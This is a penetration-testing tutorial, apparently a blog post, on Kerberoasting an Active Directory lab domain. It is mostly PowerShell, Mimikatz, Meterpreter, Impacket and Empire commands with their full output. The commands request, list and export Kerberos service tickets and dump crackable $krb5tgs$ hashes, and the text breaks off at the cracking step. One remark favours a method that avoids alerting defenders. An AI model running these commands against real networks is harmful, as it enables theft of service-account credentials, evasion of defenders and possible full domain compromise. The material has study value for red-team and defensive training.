

# Kerberoast

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The process of cracking Kerberos service tickets and rewriting them in order to gain access to the targeted service is called Kerberoast. This is very common attack in red team engagements since it doesn't require any interaction with the service as legitimate active directory access can be used to request and export the service ticket which can be cracked offline in order to retrieve the plain-text password of the service. This is because service tickets are encrypted with the hash (NTLM) of the service account so any domain user can dump hashes from services without the need to get a shell into the system that is running the service.

Red Teams usually attempt to crack tickets which have higher possibility to be configured with a weak password. Successful cracking of the ticket will not only give access to the service but sometimes it can lead to full domain compromise as often services might run under the context of an elevated account. These tickets can be identified by considering a number of factors such as:

- SPNs bind to domain user accounts
- Password last set
- Password expiration
- Last logon

Specifically the Kerberoast attack involves five steps:

1. SPN Discovery
2. Request Service Tickets
3. Export Service Tickets
4. Crack Service Tickets
5. Rewrite Service Tickets & RAM Injection

The discovery of services in a network by querying the Active Directory for service principal names has been already covered in the [SPN Discovery](#) article.

## Request Service Tickets

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```
1 Add-Type -AssemblyName System.IdentityModel  
2 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken  
-ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
```

```
PS > Add-Type -AssemblyName System.IdentityModel
PS > New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

Id : uuid-36635c5c-7240-4e83-a453-ffa4918bf152-1
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
}
ValidFrom : 5/27/2018 3:03:54 PM
ValidTo : 5/28/2018 12:44:01 AM
ServicePrincipalName : PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
```

### Service Ticket Request

Execution of the **klist** command will list all the available cached tickets.

```
1 klist
```

```
PS > klist

Current LogonId is 0:0x6f2c9

Cached Tickets: (2)

#0> Client: Administrator @ PENTESTLAB.LOCAL
   Server: krbtgt/PENTESTLAB.LOCAL @ PENTESTLAB.LOCAL
   KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
   Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
      Start Time: 5/29/2018 7:45:21 (local)
      End Time: 5/29/2018 17:45:21 (local)
      Renew Time: 6/5/2018 7:45:21 (local)
      Session Key Type: AES-256-CTS-HMAC-SHA1-96
      Cache Flags: 0x1 -> PRIMARY
      Kdc Called: WIN-PTELU2U07KG

#1> Client: Administrator @ PENTESTLAB.LOCAL
   Server: PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 @ PENTESTLAB.LOCAL
   KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
   Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
```

### Obtain Cached Tickets with klist

An alternative solution to request service tickets is through Mimikatz by specifying as a target the service principal name.

```
1 kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
```

```
mimikatz # kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
Asking for: PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
  * Ticket Encryption Type & kuno not representative at screen

      Start/End/MaxRenew: 6/11/2018 6:09:57 AM ; 6/11/2018 4:02:34 PM ; 6/1
8/2018 6:02:34 AM
      Service Name (02) : PENTESTLAB_001 ; WIN-PTELU2U07KG.PENTESTLAB.LOCAL
:80 ; @ PENTESTLAB.LOCAL
      Target Name (02) : PENTESTLAB_001 ; WIN-PTELU2U07KG.PENTESTLAB.LOCAL
:80 ; @ PENTESTLAB.LOCAL
      Client Name (01) : Administrator ; @ PENTESTLAB.LOCAL
      Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; for
wardable ;
      Session Key : 0x00000017 - rc4_hmac_nt
          2aa582268520bf398d4531566766fdf6
      Ticket : 0x00000017 - rc4_hmac_nt ; kuno = 0
[...]
```

Mimikatz – Request Service Ticket

Similarly to **klist** the list of Kerberos tickets that exist in memory can be retrieved through Mimikatz. From an existing PowerShell session, the **Invoke-Mimikatz** script will output all the tickets.

- 1 **Invoke-Mimikatz -Command '"kerberos::list"**

```
PS > Invoke-Mimikatz -Command '"kerberos::list"'

.#####. mimikatz 2.1.1 (x64) built on Mar 31 2018 20:15:03
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***

mimikatz(powershell) # kerberos::list

[00000000] - 0x00000012 - aes256_hmac
  Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:
45:21 AM
    Server Name : krbtgt/PENTESTLAB.LOCAL @ PENTESTLAB.LOCAL
    Client Name : Administrator @ PENTESTLAB.LOCAL
    Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; f
orwardable ;

[00000001] - 0x00000017 - rc4_hmac_nt
  Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:
45:21 AM
    Server Name : PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 @ PENT
```

Invoke-Mimikatz – List Memory Tickets

Alternatively loading the Kiwi module will add some additional Mimikatz commands which can perform the same task.

- 1 **load kiwi**
- 2 **kerberos\_ticket\_list**

```
meterpreter > kerberos_ticket_list
[+] Kerberos tickets found in the current session.
[00000000] - 0x00000012 - aes256_hmac
    Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:45:21 AM
        Server Name      : krbtgt/PENTESTLAB.LOCAL @ PENTESTLAB.LOCAL
        Client Name     : Administrator @ PENTESTLAB.LOCAL
        Flags 40e10000   : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
;

[00000001] - 0x00000017 - rc4_hmac_nt
    Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:45:21 AM
        Server Name      : PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 @ PENTESTLAB.LOCAL
        Client Name     : Administrator @ PENTESTLAB.LOCAL
        Flags 40a10000   : name_canonicalize ; pre_authent ; renewable ; forwardable ;
;
```

Kiwi – Kerberos Ticket List

Or by executing a custom Kiwi command:

```
1 kiwi_cmd kerberos::list
```

```
meterpreter > kiwi_cmd kerberos::list
[00000000] - 0x00000012 - aes256_hmac
    Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:45:21 AM
        Server Name      : krbtgt/PENTESTLAB.LOCAL @ PENTESTLAB.LOCAL
        Client Name     : Administrator @ PENTESTLAB.LOCAL
        Flags 40e10000   : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
;

[00000001] - 0x00000017 - rc4_hmac_nt
    Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:45:21 AM
        Server Name      : PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 @ PENTESTLAB.LOCAL
        Client Name     : Administrator @ PENTESTLAB.LOCAL
        Flags 40a10000   : name_canonicalize ; pre_authent ; renewable ; forwardable ;
;
```

Kiwi – Kerberos Ticket List Command

Impacket has a python module which can request Kerberos service tickets that belong to domain users only which should be easier to crack compared to computer accounts service tickets. However requires valid domain credentials in order to interact with the Active Directory since it will be executed from a system that is not part of a domain.

```
1 ./ GetUserSPNs.py -request pentestlab.local/test
```

```

root@kali:/usr/share/doc/python-impacket/examples# ./ GetUserSPNs.py -request pentestlab.local/test
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

Password:
ServicePrincipalName          Name           MemberOf
f
  PasswordLastSet      LastLogon
-----
MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL Administrator CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=pentestlab,DC=local
  2018-05-03 05:27:38 2018-06-02 16:30:39
PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80          PENTESTLAB_001
  2018-05-26 15:44:35 <never>

```

Impacket – Service Ticket Request

The service account hashes will also retrieved in John the Ripper format.

```

$krb5tgs$23$*Administrator$PENTESTLAB.LOCAL$MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL*$60197ffce12a575f7f31a9065f93a85d$13d70769dc9516b31c860a65b9bd397f75f8296f2c0c41b337f1adfb944896f8d84fbfc72b0d5d56cb1b2e6b2ff290d7f8e9a227141c9dc7b526a58ecf7f9fbc6e39114a28dacadf3c686b716b725c555314c8dc8cd1c94058da39600775854dfcae23008c484eec576c0ce717c98eee6baaa736fafd76769f71cdb1918f7c2bcc1015aa694f44e6d19c2916cb7691d56dee9da0da43f6732f90bbc09796795111380f38fc87e5a9252ecd777e542f98986cea93e0eb812b0bfe429d027c31c9f10f5b0214440b2e9aed02035d836aac4e753a93d4f6c744091ee72e5ab10ee187b3fb35b905015d5c04063cd9de5f33a791406a65a34de5c6c1b90843ea322cc975a3274d0d22dd4cbfa0b4d75bd27286b71778021099a781078a761f349f7b6fd5c5b21f00c8ec15d708a52a8bf11bf8495a128ff8f72603128e7f77160878b87c18f5d2805a91473b891e060d6e05014689206b60bfeaf6f06e366c531a89a37930efb6ad987d4226301faleaae2b27cea56c5594c82ace00ad35dd4465b095a49b98a59b48cf4750809a1fdffb153eb36800192d83aa8f0a58258d2dff44a2c7fe2f5b0be7aa8e6e204a09803dc1563be7c873d40e782326b598265afe8774aefd83d7c6592f9630a8e666989799c767595fb97775733d16d15ac1fbcc6689bf9c9caff85ebccc8b8d2f36a698e9a41eeafdf144f2384785b30dbdd655f64a09361dfefc0f230833b28ae61efd01c0dc0140

```

Impacket – Service Hash

Identification of weak service tickets can be also performed automatically with a PowerShell module that was developed by [Matan Hart](#) and is part of [RiskySPN](#). The purpose of this module is to perform an audit on the available service tickets that belong to users in order to find the tickets that are most prone to contain a weak password based on the user account and password expiration.

1 `Find-PotentiallyCrackableAccounts -FullData -Verbose`

```
PS > Find-PotentiallyCrackableAccounts -FullData -Verbose
VERBOSE: Searching the forest: pentestlab.local
VERBOSE: Gathering sensitive groups
VERBOSE: Searching Sensitive groups in domain: pentestlab.local
VERBOSE: Number of sensitive groups found: 11
VERBOSE: Gathering user accounts associated with SPN
VERBOSE: Number of users that contain SPN: 2
VERBOSE: Gathering info about the user: Administrator
VERBOSE: Administrator's password will expire on 06/14/2018 02:27:38
VERBOSE: Which means it has crack window of 10 days
VERBOSE: Checking connectivity to server: WIN-PTELU2U07KG.pentestlab.local on port 1433
VERBOSE: Administrator is sensitive
VERBOSE: Gathering info about the user:
VERBOSE: 's password will expire on 07/07/2018 12:44:35
VERBOSE: Which means it has crack window of 34 days
VERBOSE: Checking connectivity to server: WIN-PTELU2U07KG.PENTESTLAB.LOCAL
VERBOSE: is sensitive
VERBOSE: Number of users included in the list: 2
```

#### RiskySPN – Audit Service Tickets

The script will provide more detailed output compare to **klist** and **Mimikatz** including the Group information, password age and crack window.

```
UserName      : PENTESTLAB_001
DomainName    :
IsSensitive   : True
EncType       : RC4-HMAC
Description   :
.IsEnabled    : True
.IsPwdExpires : True
.PwdAge       : 7
.CrackWindow  : 34
.SensitiveGroups : {Organization Management, Domain Admins, Enterprise Admins, Administrators...}
.MemberOf     :
.DelegationType : False
.TargetServices : None
.NumofServers  : 1
.RunsUnder    : {@{Service=PENTESTLAB_001; Server=WIN-PTELU2U07KG.PENTESTLAB.LOCAL; IsAccessible=Yes}}
.AssociatedSPNs : {PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80}
```

#### RiskySPN – Ticket Information

Executing the same module with the domain parameter will return all the user accounts that have an associated service principal name.

```
1 Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
```

```
PS > Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"

UserName      : Administrator
DomainName    : pentestlab.local
IsSensitive   : True
EncType       : RC4-HMAC
Description   : Built-in account for administering the computer/domain
PwdAge       : 31
CrackWindow  : 10
RunsUnder     : {@{Service=MS SQL; Server=WIN-PTELU2U07KG.pentestlab.local; IsAccessible=Yes}}

UserName      : PENTESTLAB_001
DomainName    :
IsSensitive   : True
EncType       : RC4-HMAC
Description   :
PwdAge       : 7
CrackWindow  : 34
RunsUnder     : {@{Service=PENTESTLAB_001; Server=WIN-PTELU2U07KG.PENTESTLAB.LOCAL;
; IsAccessible=Yes}}
```

### RiskySPN – Service Tickets

Service ticket information can be also exported in CSV format for offline review.

#### 1 Export-PotentiallyCrackableAccounts

```
PS > Export-PotentiallyCrackableAccounts
CSV file saved in: C:\Users\Administrator\Documents\Report.csv
PS > █
```

All the ticket information that was appeared in the console will be written into the file.

A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S
UserName	DomainName	IsSensitive	EncType	Description	IsEnabled	IsPwdExpi	PwdAge	CrackWin	SensitiveG	MemberO	Delegation	TargetSer	NumofSer	RunsUnde	AssociatedSPNs			
Administrator	pentestlab.local	TRUE	RC4-HMAC	Built-in ac	TRUE	TRUE	31	10	Organizat	Organizat	FALSE	None	1 Service	MSSQLSvc/WIN-PTELU2U07KG.pente				
PENTESTLAB_001		TRUE	RC4-HMAC		TRUE	TRUE	7	34	Organizat		FALSE	None	1 Service	PENTESTLAB_001/WIN-PTELU2U07KG				

### RiskySPN – Ticket Information CSV

Part of the same repository there is also a script which can obtain a service ticket for a service instance by its SPN.

#### 1 Get-TGSCipher -SPN "PENTESTLAB\_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

```

meterpreter > powershell_shell
PS > Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

SPN           Target          EncryptionType
---           ---           -----
EncTicketPart
...
PENTESTLAB_001/WIN-PTELU2U...      RC4-HMAC (23)
D5AD9792696FB996D6A28AA6C2...

```

TGSCipher – Service Ticket Information

The [Kerberoast](#) toolkit by [Tim Medin](#) has been re-implemented to automate the process. [Auto-Kerberoast](#) contains the original scripts of Tim including two PowerShell scripts that contain various functions that can be executed to request, list and export service tickets in Base64, John and Hashcat format.

## 1 List-UserSPNs

```

meterpreter > powershell_execute List-UserSPNs
[+] Command execution completed:

SPN           : kadmin/changepw
Name          : krbtgt
SamAccountName : krbtgt
UserPrincipalName :
DistinguishedName : CN=krbtgt,CN=Users,DC=pentestlab,DC=local
MemberOf       : CN=Denied RODC Password Replication Group,CN=Users,DC=pentestlab,DC=local
PasswordLastSet : 3/18/2018 12:53:47 AM
whencreated    : 3/18/2018 7:53:47 AM

SPN           : MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL
Name          : Administrator
SamAccountName : Administrator
UserPrincipalName : Administrator@pentestlab.local
DistinguishedName : CN=Administrator,CN=Users,DC=pentestlab,DC=local
MemberOf       : {CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=pentestlab,DC=local, CN=Group Policy Creator Owners,CN=Users,DC=pentestlab,DC=local, CN=Do

```

AutoKerberoast – ListUserSPNs

There is also a domain parameter which can list only the SPNs of a particular domain.

## 1 List-UserSPNs -Domain "pentestlab.local"

```

meterpreter > powershell_execute List-UserSPNs -Domain "pentestlab.local"
[+] Command execution completed:

SPN          : kadmin/changepw
Name         : krbtgt
SamAccountName : krbtgt
UserPrincipalName :
DistinguishedName : CN=krbtgt,CN=Users,DC=pentestlab,DC=local
MemberOf      : CN=Denied RODC Password Replication Group,CN=Users,DC=pentestlab,DC=local
PasswordLastSet : 3/18/2018 12:53:47 AM
whencreated   : 3/18/2018 7:53:47 AM

SPN          : MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL
Name         : Administrator
SamAccountName : Administrator
UserPrincipalName : Administrator@pentestlab.local
DistinguishedName : CN=Administrator,CN=Users,DC=pentestlab,DC=local
MemberOf      : {CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=pentestlab,DC=local, CN=Group Policy Creator Owners,CN=Users,DC=pentestlab,DC=local, CN=Do

```

AutoKerberoast – ListUserSPNs with Domain Parameter

## Export Service Tickets

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**Mimikatz** is the standard tool which can export Kerberos service tickets. From a PowerShell session the following command will list all the available tickets in memory and will save them in the remote host.

- 1 `Invoke-Mimikatz -Command '"kerberos::list /export"'`

```

PS > Invoke-Mimikatz -Command '"kerberos::list /export"'

.#####. mimikatz 2.1.1 (x64) built on Mar 31 2018 20:15:03
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***

mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
    Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:45:21 AM
        Server Name      : krbtgt/PENTESTLAB.LOCAL @ PENTESTLAB.LOCAL
        Client Name      : Administrator @ PENTESTLAB.LOCAL
        Flags 40e10000   : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
        * Saved to file  : 0-40e10000-Administrator@krbtgt~PENTESTLAB.LOCAL-PENTESTLAB.LOCAL.kirbi

[00000001] - 0x00000017 - rc4_hmac_nt
    Start/End/MaxRenew: 5/29/2018 7:45:21 AM ; 5/29/2018 5:45:21 PM ; 6/5/2018 7:

```

Invoke-Mimikatz – Export Service Tickets

Similarly PowerShell Empire has a module which automates the task of Kerberos service ticket extraction.

```
1 usemodule credentials/mimikatz/extract_tickets
```

```
(Empire: 52AFV4KC) > usemodule credentials/mimikatz/extract_tickets
(Empire: powershell/credentials/mimikatz/extract_tickets) > run
[*] Tasked 52AFV4KC to run TASK_CMD_JOB
[*] Agent 52AFV4KC tasked with task ID 2
[*] Tasked agent 52AFV4KC to run module powershell/credentials/mimikatz/extract_
tickets
(Empire: powershell/credentials/mimikatz/extract_tickets) > info

        Name: Invoke-Mimikatz extract kerberos tickets.
        Module: powershell/credentials/mimikatz/extract_tickets
    NeedsAdmin: False
      OpsecSafe: True
      Language: powershell
MinLanguageVersion: 2
      Background: True
OutputExtension: None

Authors:
@JosephBialek
@gentilkiwi

Description:
Runs PowerSploit's Invoke-Mimikatz function to extract
kerberos tickets from memory in base64-encoded form.
```

Empire – Extract Service Tickets Module

The module will use the **Invoke-Mimikatz** function to execute automatically the commands below.

```
1 standard::base64
2 kerberos::list /export
```

```

.#####. mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
## v ## Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz(powershell) # standard::base64
isBase64InterceptInput is false
isBase64InterceptOutput is false

mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
    Start/End/MaxRenew: 5/29/2018 2:50:53 PM ; 5/30/2018 12:50:53 AM ; 6/5/2018 2
:50:53 PM
    Server Name      : krbtgt/PENTESTLAB.LOCAL @ PENTESTLAB.LOCAL
    Client Name      : Administrator @ PENTESTLAB.LOCAL
    Flags 40e10000   : name_canonicalize ; pre_authent ; initial ; renewable ; f
orwardable ;
    * Saved to file  : 0-40e10000-Administrator@krbtgt~PENTESTLAB.LOCAL-PENTES
TLAB.LOCAL.kirbi

```

#### Empire – Export Service Tickets

Ticket hashes for services that support Kerberos authentication can be extracted directly with a PowerShell Empire module. The format of the hash can be extracted either as John or Hashcat.

```
1 usemodule credentials/invoke_kerberoast
```

```
(Empire: agents) > interact 9T15UMK3
(Empire: 9T15UMK3) > usemodule credentials/invoke_kerberoast
Hashcat powershell/credentials/invoke_kerberoast) > set OutputFormat
(Empire: powershell/credentials/invoke_kerberoast) > run
[*] Tasked 9T15UMK3 to run TASK_CMD_JOB
[*] Agent 9T15UMK3 tasked with task ID 1
[*] Tasked agent 9T15UMK3 to run module powershell/credentials/invoke_kerberoast
(Empire: powershell/credentials/invoke_kerberoast) > [*] Agent 9T15UMK3 returned
results.
Job started: MDF42X
[*] Valid results returned by 10.0.0.1
[*] Agent 9T15UMK3 returned results.
```

#### Empire – Kerberoast Module

The module will retrieve the password hashes for all the service accounts.

```

TicketByteHexStream   :
Hash                 : $krb5tgs$23$*PENTESTLAB_001$pentestlab.local$PENTESTLAB_0
                      01/!WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80*$0502350E888DF70CF
                      06A736EB97A6208$E533D70BBB65BB478A294FF646A91E5685AD7733D
                      F6175D88970FA893EAE74721EBE037BBDE538E044CB7EF7B20F9B7574
                      45647698440A84D32576C6C9ED04F6AD3EB495016C1A6DAA5AD135A4B
                      75DF7BEC91D7A842E4A38EEA9343A31C499096ECB10D2A8DAB7E1CD2C
                      864033F8DC82D8B0682A57A4892A71D5524988706167430C2E59E9930
                      FDB87E6641B49620B67BE0FB9F58AE8E1BD7BBC5EC7789BB47470B9
                      4E6A1DD0D91DFFF56B5D5EA197237571BD5251AB7D0EE4EBFD7143FE5
                      7BFA002D8EA70DA9C7EE27DA48AF23BFC12C5CE53ABD46BC6696319E
                      0A634FF49493D4A2EA4E0B64609BB35D38249A73CB2B4642287AC4AE8
                      00460356A01A8FA3C33918C9234453290E3F5BD0715FE72F6E885A7B4
                      68DB80EE98D347FEABD155813D2257B33B1617301D5B14B90FB406B0E
                      1B14CC795C7E051073CBBFE6FAC8482DD8EEF33A6077A2F7B34289654
                      7068B430A7596D4938A3F91AE009BDC7BB712DA3ABA03F3CA776072BE
                      1C64FE876971F022756646F1F1B6BD2C202AC68F91C9B5FDF66F8C292
                      CB6B9C2C4367BD59F92B3A1E16AFA42EB175BCA254CA7517590E02A0E
                      D37152A3F322A67BECB0E29C199F96294A8B94088AF6EECDB811ECC17
                      197A374ADD37832011310A19C7E22513AB6EF9202D1968166D5DC40A9
                      EC71A2F45A13E84ED10EB22463B22E00705F7CA248FFF3220E3E8219D
                      D45F0E86A3C2400D194BFE2CCC51308EE798D407A297A0A487347FE51
                      277D034B4B9651D929C8E057EDE5B5F4909F1340CF26023944B2DF94D

```

Empire – Kerberoast Hash

The [AutoKerberoast](#) PowerShell script will request and extract all the service tickets in base64 format.

## 1 Invoke-AutoKerberoast

```

meterpreter > powershell_execute Invoke-AutoKerberoast
[+] Command execution completed:
Requested Tickets:
MSSQLSvc/!WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL
PENTESTLAB_001/!WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80

Base64 encoded Kerberos ticket for
DISTINGUISHED NAME: CN=Administrator,CN=Users,DC=pentestlab,DC=local
SPN: MSSQLSvc/!WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL :::

doIGfDCCBnigAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoRIBEFBFTlRF
U1RMQUIuTE9DQUyiRTBDoAMCAQKhPDA6GwhNU1NRTFN2YxsuV0lOLVBURUxVMLUw
N0tHlnBlbnRlc3RsYWIubG9jYWw6UEVOVEVTVExBqlNRTK0CB04wggTqoAMCAReh
AwIBAqKCBNwEggTYZIz5/V2/vg1ZTerVUdaJXJkXiHkaQI8NFFv+bUOWePLYTfDo
LNeuds1g/HiPR04hxTwfm0IstvujVbhI+yQPSDdmZrkxJ73/2TgL7174zMp4dYHD
/iv2ZXTAyR9UlGdPalI54jvd0mW5kGSG8xWR2pZwpiaG1hZx5vzcm2SXAYX4WGLZ
a86FwsvK2hVlxRnG9MJjwCVMq/bwb3wELB0Wv6U9gYyTJbxnl1DHbCTP+1hF0JfV
cTVFDgm0mDQtM/PjsaBMYnXxjqxsjzfwN76ABXJFBvcR3LtGggop0qKugbz8nkqd
/rYqHg8AXqvAtq5rQGp+xIppZwj2XwR94Eh8tAU2FMge7BRTbD+fk+RzUFn92nXW
WC+3cK4Fa6hD5T10RMn9e0oBUPlAFvfqvlcj82u9nmWh9yT3fVCLI190MG/i9gZw
KTk50xmtxib/qFizNhED7QjhHL0z34qaIP804dPglT1naqY6db4SPctrN6WOrSK
SBr7RPRx5mefARb9b5PXf+Mag0sSbHnsrxb3F+VhpsHXotDtuh8fBCko0g7lyZ00

```

AutoKerberoast – Invoke-AutoKerberoast Base64

There is also a [script](#) part of the [AutoKerberoast](#) repository which will display the extracted tickets in hashcat compatible format.

```
meterpreter > powershell_execute Invoke-AutoKerberoast
[+] Command execution completed:
Requested Tickets:
ID#1:
SPN: MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local:PENTESTLABSQL
SAMACCOUNTNAME: Administrator
DISTINGUISHED NAME: CN=Administrator,CN=Users,DC=pentestlab,DC=local

ID#2:
SPN: PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
SAMACCOUNTNAME: PENTESTLAB_001
DISTINGUISHED NAME: CN=PENTESTLAB Admin 001,CN=Users,DC=pentestlab,DC=local

Captured TGS hashes:
$krb5tgs$23$*ID#1_SAMACCOUNTNAME: Administrator; DISTINGUISHEDNAME: CN=Administrator,CN=Users,DC=pentestlab,DC=local SPN
N: MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local: PENTESTLABSQL *$648CF9FD5DBFBE0D594
DEAD551D6895C$9917887900408F0D15F57E6D4
39678F2D84DF0E82CD7AE76CD60FC788F44EE21C5359F98E22CB6FBA355B848FB240F48376666B93
127BDFFD9380BEF5EF8CCCA787581C3FE2BF665
74C0C91F5494674F6A5239E23BDD3A65B9906486F31591DA9670A62686D61671E6FCDC9B64970185
```

#### AutoKerberoast – Service Ticket Hash

Tickets that belong to elevated groups for a particular domain can be also extracted for a more targeted Kerberoasting.

```
1 Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain
pentestlab.local -HashFormat John
```

```
PS > Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -
HashFormat John
Requested Tickets:
ID#1:
SPN: MSSQLSvc/WIN-PTELU2U07KG.pentestlab.local: PENTESTLABSQL
SAMACCOUNTNAME: Administrator
DISTINGUISHED NAME: CN=Administrator,CN=Users,DC=pentestlab,DC=local

Captured TGS hashes:
$krb5tgs$ID#1_SAMACCOUNTNAME_ Administrator; DISTINGUISHEDNAME_ CN=Administrator
,CN=Users,DC=pentestlab,DC=local SPN_MS
SQLSvc/WIN-PTELU2U07KG.pentestlab.local_PENTESTLABSQL:648CF9FD5DBFBE0D594DEAD551
D6895C$9917887900408F0D15F57E6D439678F2
D84DF0E82CD7AE76CD60FC788F44EE21C5359F98E22CB6FBA355B848FB240F48376666B93127BDFF
D9380BEF5EF8CCCA787581C3FE2BF66574C0C91
F5494674F6A5239E23BDD3A65B9906486F31591DA9670A62686D61671E6FCDC9B64970185F85862D
96BCE85C2CBCADA1565C519C6F4C263C02566AB
F6F06F7C042C1396BFA53D818C9325BC679750C76C24CFFB5845D097D57135450E098E98342D9BF3
E3B1A04C6275F18EAC6C8F37F037BE800572450
```

#### AutoKerberoast – Service Ticket Hashes of Particular Domain and Group

The **Get-TGSCipher** PowerShell module that [Matan Hart](#) developed can extract the password hash of a service ticket in three different formats: John, Hashcat and Kerberoast. The service principal name of the associated service that the script requires

can be retrieved during the SPN discovery process.

```
1 Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John
```

```
PS > Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John
$krb5tgs$23$*$$PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80*$D5AD9792696FB
996D6A28AA6C28C89A5$000564489651E7CEDDF
6E37F2161208E5DCE291F88A93E72BEE6607EE5C496B6F613F2714964C290D438C81F4B1D6DB100F
AF78641342570F48263A5F46511BDB68613C82D
8A5E8CEC3EDD82A6DDFB05AED93A9A1193DE5E3BE8432234C766357B5D86A4C2A554A06D354D77AE
9CE0646970AD6CE936895617BA37A81E8946EA7
E6F8AA2A145E003DE91EA64135C03FE2B21660090CB429D55D538FA7236149F7CA0AB6ACF9CBE742
F03F190C500E64EDC798C7A01466FD5DB6E5897
2C9667CB83F2A34BA0A2522FB036127591A302C5915B54281D36C2AFA5272D38A51C96955DD9F300
537090EC5275024A8EC1565B0A8813B0E6D8269
6107F4DCD84E02B537EBE1A2A4754D0900A9ABAЕ7D0D1ECEEDFB3A2FC421392D8F668F4C33011BF3
31141BE757F0827490334CBA4C77108AECF66E6
49C7776E75DB4A18EDE74F0E61B81F61D6EA61B026580A62B3B4ABE91F18F68E8A8F8B0602E92CBD
17333607A0E80D60CE0E6DE2981A2F2A147DC7A
```

TGSCipher – Service Ticket Hash

The benefit of using **Get-TGSCipher** function is that eliminates the need of Mimikatz for ticket export which can trigger alerts to the blue team and also obtaining the hash directly reduces the step of converting the ticket to john format.

## Crack Service Tickets

The python script **tgsrepcrack** is part of Tim Medin Kerberoast toolkit and can crack Kerberos tickets by supplying a password list.

```
1 python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
```

```
